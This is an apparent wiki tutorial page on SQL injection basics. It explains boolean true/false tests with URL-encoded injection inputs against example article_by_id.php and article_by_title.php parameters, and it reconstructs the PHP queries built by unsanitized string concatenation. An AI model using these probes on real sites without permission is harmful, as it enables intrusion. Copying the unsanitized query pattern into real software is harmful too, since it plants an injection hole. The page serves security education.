Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "SQL injection/Basics/Testing"

From NetSec
Jump to: navigation, search
(Created page with "<noinclude>{{path|SQL injection > Basics > Testing }}</noinclude> Vulnerabilities always stem from user input. In [[Web applicati...")
 
(No difference)

Latest revision as of 06:17, 19 July 2012

SQL injection > Basics > Testing

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, GET parameters, and other request headers. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.}}

Your first where clause injection

The most reliable of tests consist of boolean challenges that filter the results a query returns combined with arithmetic operators. Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test.

  • In the first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like:
 /article_by_id.php?id=10
  • A researcher could check that URI against:
 /article_by_id.php?id=10%20AND%201=1
 and
 /article_by_id.php?id=10%20AND%201=0
  • When a page is vulnerable, the page on
 /article_by_id.php?id=10%20AND%201=1

will match the page on:

 /article_by_id.php?id=10

however the page at:

 /article_by_id.php?id=10%20AND%201=0

will have data (and likely the entire article) missing.

  • In the second example, using $title, the same affect can be achieved on an unsanitized string with the following URI's:
 /article_by_title.php?id=SQL%27%20AND%20%271%27=%270
 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

The same methodology as the integer test applies, merely with added single quotes (%27).

RPU0j.png
Most of today's security systems will easily identify and block simple testing methods like those illustrated above.

Reconstructing injected queries

Reconstruction of queries locally will be available if the SQL database engines is installed. Links are provided at the end of the page for following along. Using the above testing examples, the queries generated from the url tampering will be reconstructed.

  • Original Query:
$query = "select * from articles where id=$id";
  • Generated Queries:
$query = "select * from articles where id=10 and 1=1";
$query = "select * from articles where id=10 and 1=0";

Or, alternatively, the $title example can be examined:

  • Original query:
$query = "select * from articles where title='$title'";
  • Generated queries:
$query = "select * from articles where title='SQL' and '1'='0'";
$query = "select * from articles where title='SQL' and '1'='1'";
  • The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.